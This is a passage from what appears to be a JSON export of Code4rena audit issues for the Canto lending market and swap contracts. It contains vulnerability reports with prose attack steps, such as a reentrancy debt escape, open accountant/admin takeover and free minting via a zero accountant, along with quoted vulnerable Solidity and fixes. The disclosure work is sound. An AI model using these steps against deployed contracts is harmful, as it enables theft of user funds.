accountBorrows[borrower].principal = accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, accountBorrowsNew, totalBorrowsNew); } ``` Call sequence here is borrow() -> borrowInternal() -> borrowFresh() -> doTransferOut(), which transfers the token to an external recipient: https://github.com/Plex-Engineer/lending-market/blob/2d423c7c3f62d65182d802deb99cc7bba4e057fd/contracts/CErc20.sol#L189-L200 ``` /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) virtual override internal { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); ``` There an attacker can call exitMarket() that have no reentrancy control to remove the account of the debt: https://github.com/Plex-Engineer/lending-market/blob/2d423c7c3f62d65182d802deb99cc7bba4e057fd/contracts/Comptroller.sol#L167-L174 https://github.com/Plex-Engineer/lending-market/blob/2d423c7c3f62d65182d802deb99cc7bba4e057fd/contracts/ComptrollerG7.sol#L157-L164 ``` /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) override external returns (uint) { ``` This attack was carried out several times: https://certik.medium.com/fei-protocol-incident-analysis-8527440696cc ## Recommended Mitigation Steps Consider moving accounting update before funds were sent out, for example as it is done in CToken's borrowFresh(): ``` https://github.com/Plex-Engineer/lending-market/blob/2d423c7c3f62d65182d802deb99cc7bba4e057fd/contracts/CToken.sol#L595-L609 /* * We write the previously calculated values into storage. * Note: Avoid token reentrancy attacks by writing increased borrow before external transfer. `*/ accountBorrows[borrower].principal = accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = totalBorrowsNew; /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); ``` "}, {"title": "CALL() SHOULD BE USED INSTEAD OF TRANSFER() ", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "CALL() SHOULD BE USED INSTEAD OF TRANSFER() "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/307", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/306", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/305", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/298", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/292", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/290", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/286", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/285", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/275", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/273", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/267", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/265", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/262", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/260", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/259", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/258", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/257", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Only the `state()` of the latest proposal can be checked", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/254", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Governance/GovernorBravoDelegate.sol#L115 # Vulnerability details ## Impact `state()` function cannot view the state from any proposal except for the latest one. ## Proof of Concept ```solidity require(proposalCount >= proposalId && proposalId > initialProposalId, \"GovernorBravo::state: invalid proposal id\"); ``` Currently `proposalCount` needs to be bigger or equal to `proposalId`. Assuming `proposalId` is incremented linearly in conjunction with `proposalCount`, this implies only the most recent `proposalId` will pass the `require()` check above. All other proposals will not be able to have their states checked via this function. ## Tools Used Manual Review. ## Recommended Mitigation Steps Change above function to `proposalCount <= proposalId` (assuming `proposalId` is set linearly, which currently is not enforced by code). "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/252", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/251", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/247", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Unable to check `state()` if `proposalId == 0`", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/244", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-06-canto-findings", "body": "Unable to check `state()` if `proposalId == 0`"}, {"title": "Overprivileged admin can grant unlimited WETH", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/241", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-canto-findings", "body": "Overprivileged admin can grant unlimited WETH"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/236", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Oracle may be attacked if an attacker can pump the tokens for the entire block", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/233", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-canto-findings", "body": "Oracle may be attacked if an attacker can pump the tokens for the entire block"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/230", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Transferring any amount of the underlying token to the CNote contract will make the contract functions unusable", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/227", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L43 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L114 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L198 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L310 # Vulnerability details ## Impact The contract expects the balance of the underlying token to == 0 at all points when calling the contract functions by requiring getCashPrior() == 0, which checks token.balanceOf(address(this)) where token is the underlying asset. An attacker can transfer any amount of the underlying asset directly to the contract and make all of the functions requiring getCashPrior() == 0 to revert. ## Proof of Concept [CNote.sol#L43](https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L43) [CNote.sol#L114](https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L114) [CNote.sol#198](https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L198) [CNote.sol#310](https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L310) 1. Attacker gets any balance of Note (amount = 1 token) 2. Attacker transfers the token to CNote which uses Note as an underlying asset, by calling note.transfer(CNoteAddress, amount). The function is available since Note inherits from ERC20 3. Any calls to CNote functions now revert due to getCashPrior() not being equal to 0 ## Recommended Mitigation Steps Instead of checking the underlying token balance via balanceOf(address(this)) the contract could hold an internal balance of the token, mitigating the impact of tokens being forcefully transferred to the contract. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/221", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "WETH.allowance() returns wrong result.", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/218", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/WETH.sol#L104 # Vulnerability details ## Impact WETH.allowance() returns wrong result. I can't find other contracts that use this function but WETH.sol is a base contract and it should be fixed properly. ## Proof of Concept In this function, the \"return\" keyword is missing and it will always output 0 in this case. ## Tools Used Solidity Visual Developer of VSCode ## Recommended Mitigation Steps L104 should be changed like below. ``` return _allowance[owner][spender]; ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/215", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/214", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/210", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "use of transfer() instead of call()", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "use of transfer() instead of call()"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "In Cnote.sol, anyone can initially become both accountant and admin", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/195", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/CNote.sol#L14 # Vulnerability details ## Impact Affected code: - [https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/CNote.sol#L14](https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/CNote.sol#L14) The function `_setAccountantContract()` is supposed to be called after contract initialization, so that the `accountant` is immediately set. However, this function completely lacks any access control (it\u2019s just `public`) so an attacker can monitor the mempool and frontrun the transaction in order to become both `accountant` and `admin` ## Tools Used Editor ## Recommended Mitigation Steps The function should: 1. have a guard that regulates access control 2. not set the `admin` too, which is dangerous and out of scope "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "WETH.sol computes the wrong totalSupply() ", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/191", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/WETH.sol#L47 # Vulnerability details ## Impact Affected code: - [https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/WETH.sol#L47](https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/WETH.sol#L47) `WETH.sol` is almost copied from the infamous WETH contract that lives in mainnet. This contract is supposed to receive the native currency of the blockchain (for example ETH) and wrap it into a tokenized, ERC-20 form. This contract computes the `totalSupply()` using the balance of the contract itself stored in the `balanceOf` mapping, when instead it should be using the native `balance` function. This way, `totalSupply()` always returns zero as the `WETH` contract itself has no way of calling `deposit` to itself and increase its own balance ## Proof of Concept 1. Alice transfers 100 ETH to `WETH.sol` 2. Alice calls `balanceOf()` for her address and it returns 100 WETH 3. Alice calls `totalSupply()`, expecting to see 100 WETH, but it returns 0 ## Tools Used Editor ## Recommended Mitigation Steps ```jsx function totalSupply() public view returns (uint) { return address(this).balance } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/188", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "`lending-market/Note.sol` Wrong implementation of access control", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/173", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/b93e2867a64b420ce6ce317f01c7834a7b6b17ca/contracts/Note.sol#L13-L31 # Vulnerability details ```solidity function _mint_to_Accountant(address accountantDelegator) external { if (accountant == address(0)) { _setAccountantAddress(msg.sender); } require(msg.sender == accountant, \"Note::_mint_to_Accountant: \"); _mint(msg.sender, type(uint).max); } function RetAccountant() public view returns(address) { return accountant; } function _setAccountantAddress(address accountant_) internal { if(accountant != address(0)) { require(msg.sender == admin, \"Note::_setAccountantAddress: Only admin may call this function\"); } accountant = accountant_; admin = accountant; } ``` `_mint_to_Accountant()` calls `_setAccountantAddress()` when `accountant == address(0)`, which will always be the case when `_mint_to_Accountant()` is called for the first time. And `_setAccountantAddress()` only checks if `msg.sender == admin` when `accountant != address(0)` which will always be `false`, therefore the access control is not working. L17 will then check if `msg.sender == accountant`, now it will always be the case, because at L29, `accountant` was set to `msg.sender`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "`lending-market/NoteInterest.sol` Wrong implementation of `getBorrowRate()`", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/166", "labels": ["bug", "3 (High Risk)"], "target": "2022-06-canto-findings", "body": "`lending-market/NoteInterest.sol` Wrong implementation of `getBorrowRate()`"}, {"title": "`zeroswap/UniswapV2Library.sol` Wrong init code hash in `UniswapV2Library.pairFor()` will break `UniswapV2Oracle`, `UniswapV2Router02`, `SushiRoll`", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/164", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/zeroswap/blob/03507a80322112f4f3c723fc68bed0f138702836/contracts/uniswapv2/libraries/UniswapV2Library.sol#L20-L28 # Vulnerability details ```solidity function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash )))); } ``` The `init code hash` in `UniswapV2Library.pairFor()` should be updated since the code of `UniswapV2Pair` has been changed. Otherwise, the `pair` address calculated will be wrong, most likely non-existing address. There are many other functions and other contracts across the codebase, including `UniswapV2Oracle`, `UniswapV2Router02`, and `SushiRoll`, that rely on the `UniswapV2Library.pairFor()` function for the address of the pair, with the `UniswapV2Library.pairFor()` returning a wrong and non-existing address, these functions and contracts will malfunction. ### Recommendation Update the init code hash from `hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303'` to the value of `UniswapV2Factory.pairCodeHash()`. "}, {"title": "`stableswap/BaseV1Pair.sol#_update()` will revert when `reserve0CumulativeLast` or `reserve1CumulativeLast` gets large enough", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/stableswap/blob/0dd7ac65d923bb7462c47f6d56b564af34b34118/contracts/BaseV1-core.sol#L154-L171 # Vulnerability details ```solidity function _update(uint balance0, uint balance1, uint _reserve0, uint _reserve1) internal { uint blockTimestamp = block.timestamp; uint timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { reserve0CumulativeLast += _reserve0 * timeElapsed; reserve1CumulativeLast += _reserve1 * timeElapsed; } Observation memory _point = lastObservation(); timeElapsed = blockTimestamp - _point.timestamp; // compare the last observation with current timestamp, if greater than 30 minutes, record a new event if (timeElapsed > periodSize) { observations.push(Observation(blockTimestamp, reserve0CumulativeLast, reserve1CumulativeLast)); } reserve0 = balance0; reserve1 = balance1; blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } ``` This was forked from Uniswap v2's `update()`: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L72-L81 ```solidity=L72 // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } ``` UniswapV2's Pair is using Solidity 0.5.16, in which the arithmetic operations will overflow/underflow without revert. As the solidity version used in the current implementation of `BaseV1Pair.sol` is `0.8.11`, and there are some breaking changes in Solidity v0.8.0, including: > Arithmetic operations revert on underflow and overflow. Ref: https://docs.soliditylang.org/en/v0.8.11/080-breaking-changes.html#silent-changes-of-the-semantics When updating `reserve0CumulativeLast` and `reserve1CumulativeLast` in `BaseV1Pair.sol`, overflow and underflow are desired as per the comment. However, the intended overflow only works for solidity < `0.8.0` by default. If overflow and underflow are desired, then the math should be put into an `unchecked` block. Otherwise, the transaction will revert. ### Impact Since the overflow is desired in the original version, and it's broken because of using Solidity version >0.8. The `BaseV1Pair` contract will break when the desired overflow happens, which will be sooner or later depending on the decimals of the tokens and trading volume. ### Recommendation Change to: ```solidity unchecked { uint timeElapsed = blockTimestamp - blockTimestampLast; if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { reserve0CumulativeLast += _reserve0 * timeElapsed; reserve1CumulativeLast += _reserve1 * timeElapsed; } } ``` "}, {"title": "`zeroswap/UniswapV2Pair.sol` Token reserves per lp token can be manipulated due to lack of `MINIMUM_LIQUIDITY` when minting the first liquidity with `migrator`", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/162", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-canto-findings", "body": "`zeroswap/UniswapV2Pair.sol` Token reserves per lp token can be manipulated due to lack of `MINIMUM_LIQUIDITY` when minting the first liquidity with `migrator`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/157", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/154", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/153", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/150", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/147", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/144", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "swapExactTokensForCANTO() function has call to sender without reentrancy protection.", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/141", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-canto-findings", "body": "swapExactTokensForCANTO() function has call to sender without reentrancy protection."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/140", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-canto-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/139", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-canto-findings", "body": "QA Report"}, {"title": "Unchecked transfers", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "Unchecked transfers"}, {"title": "Note: When _initialSupply ! = 0, the _mint_to_Accountant function will fail", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/125", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/Note.sol#L13-L19 # Vulnerability details ## Impact In Note contract, if _initialSupply ! = 0, _totalSupply will overflow when the _mint_to_Accountant function executes _mint(msg.sender, type(uint).max) ``` constructor(string memory name_, string memory symbol_, uint256 totalSupply_) public { _name = name_; _symbol = symbol_; _initialSupply = totalSupply_; _totalSupply = totalSupply_; } ... function _mint(address account, uint256 amount) internal { require(account != address(0), \"ERC20: mint to the zero address\"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } ``` ## Proof of Concept https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/Note.sol#L13-L19 https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/ERC20.sol#L29-L34 https://github.com/Plex-Engineer/lending-market/blob/ab31a612be354e252d72faead63d86b844172761/contracts/ERC20.sol#L237-L247 ## Tools Used None ## Recommended Mitigation Steps ERC20.sol ``` constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } ``` note.sol ``` constructor() ERC20(\"Note\", \"NOTE\") { admin = msg.sender; } ``` "}, {"title": "Missing zero address check can set treasury to zero address", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/121", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Accountant/AccountantDelegate.sol#L15-L20 # Vulnerability details ## Impact AccountantDelegate.initialize() is missing a zero address check for `treasury_` parameter, which could may allow treasury to be mistakenly set to 0 address. ## Proof of Concept https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/Accountant/AccountantDelegate.sol#L20 ## Tools Used Manual review ## Recommended Mitigation Steps Add a require() check for zero address for the treasury parameter before changing the treasury address in the initialize function. "}, {"title": "accountant address can be set to zero by anyone leading to loss of funds/tokens", "html_url": "https://github.com/code-423n4/2022-06-canto-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-canto-findings", "body": "# Lines of code https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L14-L21 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L31 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L96 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L178 https://github.com/Plex-Engineer/lending-market/blob/755424c1f9ab3f9f0408443e6606f94e4f08a990/contracts/CNote.sol#L258 # Vulnerability details ## Impact In CNote._setAccountantContract() , the require() check only works when `address(_accountant) != address(0)` , leading to the ability to set `_accountant` state variable to the zero address, as well as setting admin to zero address. The following below are impacts arising from above: ## A. Users can gain underlying asset tokens for free by minting CToken in `mintFresh()` then calling `redeemFresh()` ## Proof of Concept 1. Alice calls `_setAccountantContract()` with parameter input as 0. 2. The _accountant state variable is now 0. 3. Alice/or a contract calls `mintFresh()` with input address 0 and mintAmount 1000. (assuming function is external, reporting a separate issue on the mutability) 4. This passes the `if (minter == address(_accountant))` and proceeds to mint 1000 CTokens to address(0) 5. Alice then calls `redeemFresh()` with her address as the `redeemer` parameter, and redeemTokensIn as 1000. 6. Assume exchangeRate is 1, Alice would receive 1000 tokens in underlying asset. ## B. Users could borrow CToken asset for free A user can borrow CToken asset from the contract, then set _accountant to 0 after. With _accountant being set to 0 , the borrower , then call `repayBorrowFresh()` to have _accountant (address 0) to repay back the borrowed tokens assuming address(0) already has some tokens, and user's borrowed asset (all/part) are repaid. ## Proof of Concept 1. Alice calls `borrowFresh()` to borrow 500 CTokens from contract. 2. Then Alice calls `_setAccountantContract()` with parameter input 